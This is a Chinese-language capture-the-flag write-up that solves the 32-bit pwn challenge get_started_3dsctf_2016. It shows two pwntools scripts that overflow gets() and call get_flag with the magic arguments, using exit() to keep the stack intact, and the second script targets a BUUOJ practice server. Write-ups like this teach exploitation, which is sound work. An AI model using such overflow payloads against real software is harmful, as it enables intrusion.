get_started_3dsctf_2016
查看保护机制,32位,开了NX

IDA打开,main函数上的get_flag函数里发现一个flag.txt

继续跟进发现当满足一个条件时,可以打开flag.txt,即为a1 == 814536271 && a2 == 425138641时

点击a1查看到了在栈中的位置

但是这两个位置在返回地址之后,无法利用溢出覆盖来实现控制
只有继续看,tab+空格跳转之后发现了有关flag.txt的设置地址

从0x80489B8的位置开始才能打开flag.txt,于是想办法跳转到这儿

在main函数中发现可以利用gets函数溢出,覆盖返回地址,实现控制

exp1
from pwn import *
r = process('./get_started_3dsctf_2016')
#r = remote("node3.buuoj.cn" , 26419)
context.log_level = 'debug'
payload = b'a'*0x38+p32(0x80489B8)
r.sendline(payload)
r.interactive()
但是没办法得到flag,这里还发现这样远程是无法连接的
看了网上的wp有大佬说需要维护栈,由于远端服务器中gets函数没有正常退出,它程序会崩溃,就无法获取到flag ,此时使用exit函数使gets函数强制退出,那么就能获得flag了,于是我又修改了exp,找到exit函数的位置,这时候也不需要再考虑a1、a2位置在返回地址后了,可以完全根据get_flag函数的要求来,传两个满足条件的数上去,然后顺理成章打开flag.txt得到flag

exp2(强制退出)
from pwn import *
r = remote('node3.buuoj.cn',26419)
#r = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
get_addr = 0x080489A0
exit_addr = 0x0804E6A0
a1 = 814536271
a2 = 425138641
payload = b'a'*(0x38)
payload += p32(get_addr) + p32(exit_addr)
payload += p32(a1) + p32(a2)
r.sendline(payload)
sleep(0.1)
r.interactive()

虽然这种方法应该不是最正确的做法,但我觉得这方法挺聪明,正规的做法需要通过mprotect函数修改bss段的权限,然后传入shellcode,但我能力有限,暂时还不会